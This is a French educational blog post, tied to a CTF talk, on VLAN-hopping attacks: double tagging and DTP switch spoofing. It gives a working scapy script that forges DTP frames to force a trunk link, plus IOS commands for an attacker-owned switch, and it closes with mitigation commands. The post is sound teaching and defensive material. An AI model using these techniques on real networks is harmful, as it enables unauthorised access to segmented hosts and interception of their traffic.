Introduction

Durant le CTF Flag’Malo #6 organisé de manière annuelle par mon département universitaire j’ai pu donner un talk rapide sur le “VLAN Hopping” (ou saut de VLAN en bon français). Cette vulnérabilité est une vulnérabilité qui se situe au niveau de la couche 2 et qui peut être utilisée pour sniffer des paquets provenants d’autres VLANs ou encore d’accéder à des hôtes présents sur d’autres VLANs que celui sur lequel se trouve l’attaquant à l’origine.

Les slides de cette conférence sont disponibles sur mon GitHub ici.

Ce billet est fait à but éducatif uniquement. Pour des raisons légales vous n’êtes pas autorisé à reproduire aucune des techniques présentes sur un réseau à moins que vous ayez reçu la permission écrite et explicite du propriétaire. Quoiqu’il en soit vous pouvez toujours construire un réseau virtuel à l’aide de GNS3 ou autre (EVE-NG) et pratiquer dessus.

VLANs - Rappels

Disclaimer: ces quelques paragraphes ne sont pas un cours sur les VLANs, je recommande fortement de suivre un réel cours sur le sujet avant de tenter de réaliser un exploit. Cela n’aurait que très peu d’intérêt et vous permettra de mieux appréhender cette technologie ainsi que ses usages.

VLANS - Introduction

Pour commencer, pour ceux d’entre-vous qui ne connaîtraient pas les VLANs nous pouvons rapidement regarder ce qu’ils sont et à quoi ils servent. Pour ceux qui seraient déjà familiers avec le principe, je vous invite à vous rendre directement à ce chapitre VLAN Hopping - Techniques.

Donc, que sont les VLANs ? Par définition (Wikipedia):

“Un réseau local virtuel, communément appelé VLAN (pour Virtual LAN), est un réseau informatique logique indépendant. De nombreux VLAN peuvent coexister sur un même commutateur réseau ou « switch ». "

Cette définition est assez courte et peu se montrer obscure pour les “non-initiés”. Essayons d’investiguer un peu plus et imaginons que je suis un administrateur système qui travaille pour une petite entreprise avec peu de moyens. Pour des raisons de sécurité je ne souhaite pas que les comptables puissent accéder à l’infrastructure réservées aux RHs et inversement, on peut aussi ajouter une direction et un secrétariat par exemple. Je peux les mettres tous dans un LAN différent par exemple (192.168.1.0/24, 192.168.2.0/24 …) et ensuite effectuer du routage au niveau de ces différents réseaux mais cela demanderait soit plusieurs routeurs (coûteux) ou un routeur avec de multiples ports (coûteux aussi). C’est une solution fonctionnelle mais trop coûteuse en termes d’équipement actifs. En utilisant cette solution notre réseau aurait la structure suivante (sans les routeurs)

network_without_vlan

Ce n’est pas vraiment concevable, les VLANs vont nous permettre de segmenter un réseau en différents réseaux isolés les uns des autres. Chaque VLAN aura donc un numéro associé (par exemple VLAN 100, VLAN 200 etc…). Cette technologie de niveau 2 ((Wikipedia)[https://fr.wikipedia.org/wiki/Couche_liaison_de_donn%C3%A9es]) va nous permettre d’avoir la sécurité initalement prévue par notre premier montage tout en réduisant fortement le nombre de switches sur notre réseau ainsi que de simplifier la topologie physique de celui-ci. En utilisant des VLANs sur notre réseau, le résultat serait le suivant (toujours sans routeur):

network_with_vlans

En définitive, les VLANs ont de multiples avantages, ils:

  • Réduisent les coûts de l’infrastructure
  • Améliorent la topologie physique du réseau
  • Renforcent l’aspect de sécurité

VLANs - Modes

Pour l’instant, il y a un souci au niveau de ce que j’ai présenté des VLANs, on peut aisément deviner que tous les employés ne travaillent pas dans la même pièce, alors comment faire s’ils sont dans deux pièces séparés et que nous avons deux switches par exemple. Nous n’allons pas faire un lien pour chaque VLAN entre les switches, ça n’aurait pas de sens et irait à l’encontre du concept de simplification de la couche physique.

On peut maintenant introduire les modes. Sur les ports d’un commutateur, il existe deux modes différents quand on utilise les vlans, le mode accès et le mode trunk. Un port en mode accès ne laissera passer qu’un seul VLAN spécifié au préalable. Un port en mode trunk lui permettra de laisser passer un ou plusieurs VLANs. Cela permet donc entre deux commutateurs de n’avoir qu’un seul lien pour tous les VLANs tout en gardant l’aspect de simplicité souhaité. Le mode accès est celui qui est initialement prévu pour les équipements de terminaison (imprimante, ordinateur, serveur, téléphone…)

Reprenons notre précédent schéma et imaginons que nos employés sont dans deux open space différents, il nous faut donc deux commutateurs que nous allons relier entre eux à l’aide d’un lien “trunk”:
network_with_vlan_and_trunk

Maintenant que nous avons abordés les essentiels liés aux VLANS (il resterait notamment à discuter du routage inter-vlan mais il n’entre pas en compte dans le cadre de cet article qui n’a pas pour vocation d’être un cours).

VLAN Hopping - Techniques

Par défaut les VLANs sont sécurisés, les vulnérabilités liées à ceux-ci sont dûs à des mauvaises configurations de la part des administrateurs de réseau (ou bien des constructeurs, Cisc…). Pour ce post, je vais introduire deux méthodes différents qui vous permettraient d’exploiter des erreurs de configuration sur un réseau exploitant des VLANs. meme_vlans_sysadmin

Méthode 1: Double Tagging

La première méthode que je souhaite introduire est la plus simple à mettre en place, il s’agit du Double Tagging, comme je l’ai dit, chaque VLAN possède un numéro assigné. Afin de transiter entre deux commutateurs, une trame Ethernet se voit taguée avec le numéro du VLAN qui lui est associé afin que chaque commutateur puisse savoir dans quel VLAN est l’équipement source. Donc chaque trame possède un numéro de VLAN, intéressant…

Nous savons que les couches en réseau sont basées sur le principe d’encapsulation et de désencapsulation. Quand un switch reçoit un paquet provenant d’un hôte alors il va ajouter le tag du VLAN associé au port duquel provient la trame, mais le switch auquel est branché l’équipement de destination retirera ce tag afin de lui fournir la trame (les équipements de terminaison n’ont pas conscience du concept de VLAN). Alors que se passe-t-il si je craft mon propre paquet et que je le tag avec le numéro de VLAN que je souhaite ?

Et bien, ce n’est pas aussi facile que ça, sinon nous aurions un réel problème… Par défault les VLANs sont “sécurisés”, en revanche quand on parle de VLANs il existe la notion de VLAN natif sont numéro est généralement (par défaut) le 1. En résumé, même sans mettre en place de VLANs, vous êtes dans le VLAN1 mais ça n’affecte absolument pas le réseau puisque tous les équipements sont dans le même. Ce vlan natif n’est donc pas tagué, alors que se passe-t-il si un switch reçoit une trame taguée avec le VLAN par défaut ? Réponse: il va retirer le tag avant de transmettre la trame à un autre commutateur.

Vous commencez à voir le problème ? Dans une configuration réseau qui fait que nous passons par aux moins deux commutateurs et que nous sommes connectés au VLAN par défaut alors nous pouvons crafter un paquet malicieux qui contient deux tags à la suite. Le premier sera le VLAN 1 et le second le VLAN dans lequel on souhaite se rendre.

Le diagramme suivant illustre la vulnérabilité: double_tagging_schema

Cette attaque est très simple à mettre en place mais elle possède deux grandes failles, on ne peut pas recevoir le traffic d’un autre VLAN, on peut uniquement accéder à un hôte qui se trouve dans un autre VLAN. Elle nécessite aussi de se trouver dans une configuration où l’on va traverser au moins deux commutateurs.

Méthode 2: Switch Spoofing

La seconde méthode est beaucoup plus intéressante que la première car celle-ci va nous permettre d’agir comme si nous étions dans le VLAN que nous attaquons, il n’y a pas de limitations comme sur la précédente. Nous pouvons agir comme si nous étions un équipement légitime du VLAN. Quoiqu’il en soit il reste un paramètre important à prendre en compte, elle ne fonctionne que sur les équipements de la marque Cisco (pas vraiment un problème car très répandue).

Pour commencer, mettons une petite balle perdue à Cisco ! double_tagging_schema

Nous pouvons maintenant introduire DTP, le “Dynamic Trunking Protocol”, un protocole propriétaire déstiné aux systèmes Cisco. Ce protocole vise à établir de manière automatique un lien trunk entre deux switches. Par défaut le protocole DTP est actif sur n’importe quel switch, il est nécessaire de le désactiver si vous souhaitez fixer un port en mode accès.

Il existe deux modes intéressants avec DTP pour un port, dynamic auto ou dynamic desirable. En mode auto le switch écoute pour une trame DTP lui indiquant que l’on souhaite établir un lien trunk. En mode desirable alors le switch envoie de manière active et régulière des trames DTP montrant qu’il souhaite monter un lien trunk.

On peut regarder la façon dont un lien trunk est établi entre deux hôtes quand on branche un hôte à un qui souhaite monter un lien trunk avec ce diagramme. schema_dtp_trunk

Une fois que notre lien trunk est établi, on peut intéragir avec n’importe quelle machine de n’importe quel VLAN convoyé par le trunk.

Scénario d’attaque simple

La théorie c’est cool mais rien ne vaut la pratique ! On peut imaginer un scénario simple avec un tout petit réseau d’entreprise où nous sommes dans un VLAN et on veut sauter de celui-ci vers un autre. Voici le schéma (simplifié) associé: schema_company

Ici PC1 est dans le VLAN 100 avec l’adresse IP 192.168.100.1/24 et PC2 possède l’adresse IP 192.168.100.254/24 dans le VLAN 200. Dans cette configuration les deux équipements sont sur le même réseau IP mais dans des VLANs séparés ils sont donc normalement inacessibles si l’on est pas dans le VLAN correspondant. La configuration du switch est la suivante (des parties inutiles ont été coupées):

version 15.0
!
hostname switch_entreprise
!
interface GigabitEthernet0/1
 description **Machine VLAN 100**
 switchport access vlan 100
 switchport mode access
!
interface GigabitEthernet0/2
 description **Vlan 100 access, trunk dynamic desirable**
 switchport trunk encapsulation dot1q
 switchport trunk native vlan 100
 switchport mode dynamic desirable
!
! SAME FOR Gi0/3 - Gi0/6
!
interface GigabitEthernet0/7
 description **Vlan 100 access, trunk dynamic desirable**
 switchport trunk encapsulation dot1q
 switchport trunk native vlan 100
 switchport mode dynamic desirable
!
interface GigabitEthernet0/8
 description **Machine VLAN 200**
 switchport access vlan 200
 switchport mode access
!
interface GigabitEthernet0/9
 description **Shut**
 shutdown
!
interface GigabitEthernet0/10
 description **Shut**
 shutdown
!
interface Vlan1
 ip address 192.168.100.1 255.255.255.0
 shutdown
!
interface Vlan100
 ip address 192.168.100.1 255.255.255.0
!
interface Vlan200
 no ip address

On remarque que les ports Gi0/2 à Gi0/7 sont dans le VLAN 100 mais le protocole DTP n’est pas désactivé, cela signifie que si nous branchons un équipement qui n’est pas un commutateur Cisco alors nous seront par défaut dans le VLAN 100 en mode accès. En revanche, si on connecte un commutateur Cisco alors un lien trunk tentera de s’établir entre les deux, faisant alors transiter tous les VLANs.

Proof Of Concept

C’est l’heure d’exploiter ce réseau ! Disons que les ports Gi0/2 à Gi0/7 sont brassés vers différentes salles pour permettre à n’importe qui de se brancher à Internet sans pouvoir accéder aux machines du VLAN 100. Dans le cadre d’une utilisation non malveillante alors nous n’auront aucun problème. Dans le cas contraire cette configuration nous réserve quelques surprises.

Méthode 1

Si nous amenons notre propre switch et le branchons au réseau de la manière suivante:
schema_company_with_attacker_switch

Alors notre hôte est connecté à Internet et aura une IP attribuée par un DHCP (que l’on imagine). Commençons par récupérer notre IP: get_ip_attacker_host

Essayons de ping PC1 ainsi que l’interface du VLAN 100: ping_vlan100

Et de ping PC2: ping_pc2

Sans grande surprise c’est un échec, nous ne pouvons pas pinger PC2 mais essayons de résoudre cela ! Sur notre switch attaquant on peut voir qu’un lien trunk s’est établi tout de suite et de manière automatique: trunk_state_switch_attacker

Nous avons juste à basculer dans le VLAN correspondant à l’aide des commandes suivantes:

conf t
int Gi0/8
switchport mode access
switchport access vlan 200
exit
int Gi0/1
switchport trunk native vlan 100
end

Et à envoyer des requêtes ICMP à PC2: ping_pc2_success

C’est un succès ! Nous avons sauté d’un VLAN à un autre sans toucher à la configuration du réseau dans lequel nous étions. spongebob

Méthode 2

Disons que je suis vraiment tête en l’air et que j’ai oublié mon super commutateur Cisco à la maison, rien ne m’arrêtera ! J’ai juste besoin de forger mes propres paquets DTP, le réseau ressemblera alors à ça: schema_company_with_attacker_switch

On connecte notre machine attaquante et on regarde l’état du lien trunk sur le switch entreprise (c’est l’avantage du PoC, on peut tout regarder): trunk_state_company

Il n’y a aucun signe d’un lien trunk, mais rappelez-vous en mode desirable un port est en recherche active de l’établissement d’un lien trunk. Il envoie des donc des trames DTP à notre hôte (qui les ignore car elles ne lui sont pas destinées). En sniffant le traffic, on peut récupérer ce paquet DTP et le modifier afin de monter un lien trunk avec le script suivant:

#Imports
from scapy.all import *
load_contrib('dtp')

#Var
trunk_init = False
mac_addr = "00:1b:21:a5:ac:36"
interface = "eth0"

while not trunk_init:
    #Listen for DTP frames
    print("[~] Listening for DTP packet...")
    pkt = sniff(count=1, iface=interface, filter="ether dst 01:00:0c:cc:cc:cc")
    print("[~] Found DTP packet")

    #Craft malicious packet
    pkt[0].src=mac_addr
    pkt[0][DTP][DTPStatus].status='\x03'

    #Trunk initialization
    print("[!] Intiating trunk...")
    try:
        sendp(pkt[0], loop=0, verbose=1, iface=interface)
        print("[!] Trunk initiated")
        trunk_init=True
    except:
        print("[!] Failed intiating trunk")

Ce script utilise la librairie scapy avec l’import de DTP. On peut écouter le traffic à la recherche d’une trame avec pour adresse MAC de destination l’adresse mutlicast reservée aux protocoles Cisco type CDP, DTP etc… On récupère ce paquet, on change l’adresse source par la notre, le statut d’établissement du lien trunk à \x03 (lien en mode desirable) puis renvoyer le paquet. Juste après notre lien tombe et remonte de manière presque instantanée

Le résultat d’exécution de notre script: result_script_trunk

On peut maintenant vérifier l’état du trunk: trunk_state_company_2

On remarque qu’un lien trunk a été établi entre le switch et notre ordinateur qui n’est donc plus dans un port en mode accès. On peut donc écouter le traffic provenant d’autres VLANs et même crafter nos propres paquets avec un tag spécifique. Dans le but de vérifier mon PoC j’ai écouté le traffic jusqu’à voir un paquet ARP en provenance de notre PC2 sur le VLAN 200: arp_pc2

Cela nous permet de confirmer notre PoC. Pour aller un peu plus loin, j’ai démarré un serveur web sur ma machine attaquante et je m’y suis connecté avec le PC2 (encore les avantages du simple PoC), (et oui j’avais la flemme de forger mes propres paquets): laptop_trunk

Mitigations

Maintenant que nous avons été capables d’exploiter ce VLAN Hopping, comment pouvons-nous éviter que cela nous arrive sur notre propre réseau, et comment au moins rendre la vie plus difficile à un attaquant ? Il existe quelques patches possibles, ici je donnerai les équivalents de commandes pour Cisco mais en quelques recherches on peut trouver pour à peu près tous les constructeurs.

Mitigate Double Tagging

Le Double Tagging est très difficile à éviter mais on peut drastiquement le limiter de la manière suivante:

  • Changer le VLAN natif
    • switchport trunk native vlan [vlan number]
  • Désactiver les protocoles pouvant donner des informations sur le fonctionnement du réseau (CDP par exemple)
    • no cdp run
  • Forcer le tagging des VLANs natifs
    • vlan dot1q tag native

Mitigate Switch Spoofing

Vous pouvez limiter le Switch Spoofing comme ceci:

  • Désactiver DTP sur tous les ports
    • switchport nonegotiate
  • Toujours mettre les ports qui ne sont pas des trunks prévus en mode accès
    • switchport mode access
  • Utiliser les mêmes bonnes pratiques que pour le double tagging.

Conclusion

Afin de conclure ce billet, je voudrais remercier les lecteurs pour avoir tenu jusqu’ici. Si jamais l’article vous a plu ou appris quoi que ce soit alors n’hésitez pas à le partager.

Si jamais vous pensez que certaines précisions/corrections sont à apporter n’hésitez pas à me contacter sur mes réseaux sociaux, Twitter ici ou sur Discord \`#0001.

Merci à Flag’Malo de m’avoir donné l’opportunité de réaliser mon premier talk.

Et comme je n’ai fait de blague à propos de Cisco que deux fois, en voici une troisième pour finir l’article en beauté ! man_sweating_meme